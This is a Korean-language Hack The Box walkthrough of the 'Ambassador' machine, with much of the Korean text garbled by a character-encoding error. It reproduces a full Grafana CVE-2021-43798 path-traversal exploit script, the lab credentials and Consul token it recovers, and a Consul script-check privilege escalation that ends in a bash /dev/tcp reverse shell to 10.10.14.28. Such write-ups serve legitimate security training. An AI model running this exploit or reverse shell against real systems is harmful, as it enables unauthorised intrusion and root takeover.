[Hack The Box] Ambassador νμ΄
π‘ Hack-The-Box Ambassador νμ΄ μ λλ€.
λ¬Έμ 

Enumeration
βββ(kaliγΏkali)-[~/Desktop]
ββ$ nmap -sV -p - -vv --min-rate 3000 10.129.228.56                   
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-12 00:01 EST
NSE: Loaded 45 scripts for scanning.
Not shown: 65531 closed tcp ports (conn-refused)
PORT     STATE SERVICE REASON  VERSION
22/tcp   open  ssh     syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    syn-ack Apache httpd 2.4.41 ((Ubuntu))
3000/tcp open  ppp?    syn-ack
3306/tcp open  mysql   syn-ack MySQL 8.0.30-0ubuntu0.20.04.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nmap done: 1 IP address (1 host up) scanned in 53.82 seconds
22,80,3000,3306 λ² ν¬νΈκ° μ΄λ €μμ΅λλ€.
HTTP

νΉλ³νκ² μ΄ν΄λ³Ό μ§μ μ΄ μκΈ° λλ¬Έμ subdirectory listingμ μνν©λλ€.

subdirectoryλ νΉλ³νκ² μ΄ν΄λ³Ό μ§μ μ΄ μμ΅λλ€.
3000λ² ν¬νΈλ‘ μ μμ ν΄λ΄ λλ€. GrafanaλΌλ μλΉμ€κ° λμ΅λλ€.

Searchsploit
νλ¨μ λ²μ  μ λ³΄κ° μ‘΄μ¬νκΈ° λλ¬Έμ κ΄λ ¨ μ΅μ€νλ‘μμ΄ μ‘΄μ¬νλμ§ μ°Ύμλ΄ λλ€.
searchsploit grafana

Directory Traversal and Arbitary File Read κ° κ°λ₯ν exploit μ½λκ° μ‘΄μ¬ν©λλ€.
ν΄λΉ μ΅μ€νλ‘μμ λ€μ΄λ°μ λ€ μ½λλ₯Ό μ΄ν΄λ³΄λ©΄ λ€μκ³Ό κ°μ΅λλ€.
# Exploit Title: Grafana 8.3.0 - Directory Traversal and Arbitrary File Read
# Date: 08/12/2021
# Exploit Author: s1gh
# Vendor Homepage: https://grafana.com/
# Vulnerability Details: https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p
# Version: V8.0.0-beta1 through V8.3.0
# Description: Grafana versions 8.0.0-beta1 through 8.3.0 is vulnerable to directory traversal, allowing access to local files.
# CVE: CVE-2021-43798
# Tested on: Debian 10
# References: https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p47p
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import requests
import argparse
import sys
from random import choice
plugin_list = [
    "alertlist",
    "annolist",
    "barchart",
    "bargauge",
    .. μλ΅
    "timeseries",
    "welcome",
    "zipkin"
]
def exploit(args):
    s = requests.Session()
    headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.' }
    while True:
        file_to_read = input('Read file > ')
        try:
            url = args.host + '/public/plugins/' + choice(plugin_list) + '/../../../../../../../../../../../../..' + file_to_read
            req = requests.Request(method='GET', url=url, headers=headers)
            prep = req.prepare()
            prep.url = url
            r = s.send(prep, verify=False, timeout=3)
            if 'Plugin file not found' in r.text:
                print('[-] File not found\n')
            else:
                if r.status_code == 200:
                    print(r.text)
                else:
                    print('[-] Something went wrong.')
                    return
        except requests.exceptions.ConnectTimeout:
            print('[-] Request timed out. Please check your host settings.\n')
            return
        except Exception:
            pass
def main():
    parser = argparse.ArgumentParser(description="Grafana V8.0.0-beta1 - 8.3.0 - Directory Traversal and Arbitrary File Read")
    parser.add_argument('-H',dest='host',required=True, help="Target host")
    args = parser.parse_args()
    try:
        exploit(args)
    except KeyboardInterrupt:
        return
if __name__ == '__main__':
    main()
    sys.exit(0)
μ΅μ€νλ‘μ μ½λ μ체λ κ°λ¨ν©λλ€. μ¬λ¬ plugin_list μ€μμ νλλ₯Ό μ ννλ€μ λ€μκ³Ό κ°μ΄ κ²½λ‘ μ κ·Όμ μλνλ©΄ μνλ νμΌμ μ½μ μ μλ μ·¨μ½μ μ λλ€.
url = args.host + '/public/plugins/' + choice(plugin_list) + '/../../../../../../../../../../../../..' + file_to_read
ν΄λΉ μ½λλ₯Ό μ€ννμ¬ /etc/passwdλ₯Ό μ½μ΄λ΄ λλ€.

μ΅μ€νλ‘μ μ½λκ° λμν©λλ€.
μ΄μ λ μ΄λ ν νμΌμ μ½μμ§ κ³ λ―Όμ ν΄μΌ ν©λλ€.
νμ¬ μ€νλκ³ μλ μλΉμ€(grafana)μ μ€ννμΌμ λ¨Όμ  μ½μ΄ λ΄ λλ€. μ€ννμΌμ κ²½λ‘λ /etc/grafana/grafana.ini μ λλ€.
μ€μ νμΌμμ admin κ³μ μ μ λ³΄κ° λ ΈμΆλμ΄ μμ΅λλ€.

id : admin
password : messageInABottle685427

λμ보λλ₯Ό μ‘°κΈ μ΄ν΄λ³΄λ©΄ λ€μκ³Ό κ°μ΄ mysql λ°μ΄ν°λ² μ΄μ€λ₯Ό μ¬μ©νλ€λ κ²μ μ μ μμ΅λλ€.


grafana λ¬Έμλ₯Ό 보면, μ€μ νμΌλ€μ provisioning/datasources/ κ²½λ‘ μλμ μ μ₯ν©λλ€.

λ°λΌμ mysql.yaml νμΌμ μ½μ΄λΌ μ μμ΅λλ€.
Mysql
user : grafana
password : dontStandSoCloseToMe63221!

λ€μκ³Ό κ°μ μ¬μ©μ λ°μ΄ν°κ° μ‘΄μ¬ν©λλ€.

λΉλ°λ²νΈκ° base64 μΈμ½λ© λμ΄ μλκ²μΌλ‘ λ³΄μ¬ λμ½λ©μ ν΄λ΄ λλ€.

id : developer
password : anEnglishManInNewYork027468

Privilege Escalation
developer κ³μ μμ νμΌμ νμΈν΄λ³΄λ©΄ .gitconfigνμΌμ΄ μ‘΄μ¬ν©λλ€.

/opt/my-appν΄λμμ κΉμ μ΄μ©ν μμ
μ νκ²μΌλ‘ 보μ΄κΈ° λλ¬Έμ νμΈμ ν©λλ€

λ³κ²½ μ¬νμ νμΈν©λλ€.

consul token : bb03b43b-1d81-d62b-24b5-39540ee469b5
# token μ λ³΄μμ΄ consulμ μ¬μ©ν  μ μλ€.
developer@ambassador:/opt/my-app/whackywidget$ consul kv put a b
Error! Failed writing data: Unexpected response code: 403 (Permission denied: token with AccessorID '00000000-0000-0000-0000-000000000002' lacks permission 'key:write' on "a")
# token μ λ³΄λ₯Ό κ°μ΄ μ£Όλ©΄ κΆνμ΄ νμ©λλ€.
developer@ambassador:/opt/my-app/whackywidget$ consul kv put --token bb03b43b-1d81-d62b-24b5-39540ee469b5 test a
Success! Data written to: test
# λ€μμ²λΌ νκ²½λ³μλ‘ λ±λ‘ν΄λκ³  ν ν°μ μ¬μ©νλ€.
developer@ambassador:/opt/my-app/whackywidget$ export TOKEN=bb03b43b-1d81-d62b-24b5-39540ee469b5
developer@ambassador:/opt/my-app/whackywidget$ consul kv get --token $TOKEN test
a
consulμ μ€ν κΆν λ° μ€μ  νμΌμ νμΈν΄ λ΄ λλ€.

μ°μ νλ‘μΈμ€λ root κΆνμΌλ‘ μ€νλκ³ μμ΅λλ€.
consulμ μ€μ νμΌμΈ /etc/consul.d/consul.hcl νμΌμ€ νλ¨μ μ€μ μ λ€μκ³Ό κ°μ΅λλ€.

enable_script_checkst = ture μ€μ μ /etc/consul.d/config.d/ κ²½λ‘μ μλ λ€λ₯Έ μ€ν¬λ¦½νΈ νμΌλ€μ μλμΌλ‘ μ€νμν¨λ€λ μ΅μ
μ
λλ€.
λ°λΌμ ν΄λΉ κ²½λ‘μ exploit μ½λλ₯Ό μμ±νκ³ consul νλ‘μΈμ€λ₯Ό μ¬μμ ν μ μλ€λ©΄, root κΆνμ νλν μ μμ΅λλ€.
ν΄λΉ νμΌμ json ννλ‘ μμ±νμ¬ exploit.jsonνμΌλ‘ μ μ₯νμμ΅λλ€.
{
  "check":{
    "name":"exploit",
    "args" : ["/usr/bin/bash","/tmp/shell.sh"],
    "interval" : "30s"
  }
}
/tmp/shell.shλ λ€μκ³Ό κ°μ΄ μμ±νλ€, consul reload --toekn $TOKENμ μ
λ ₯νμ¬ consulμ μ¬μμ ν©λλ€.
bash -i >& /dev/tcp/10.10.14.28/4444 0>&1
reverse shellμ νλνμ¬ root flagλ₯Ό μ»μ μ μμ΅λλ€.

 
      
     
      
λκΈλ¨κΈ°κΈ°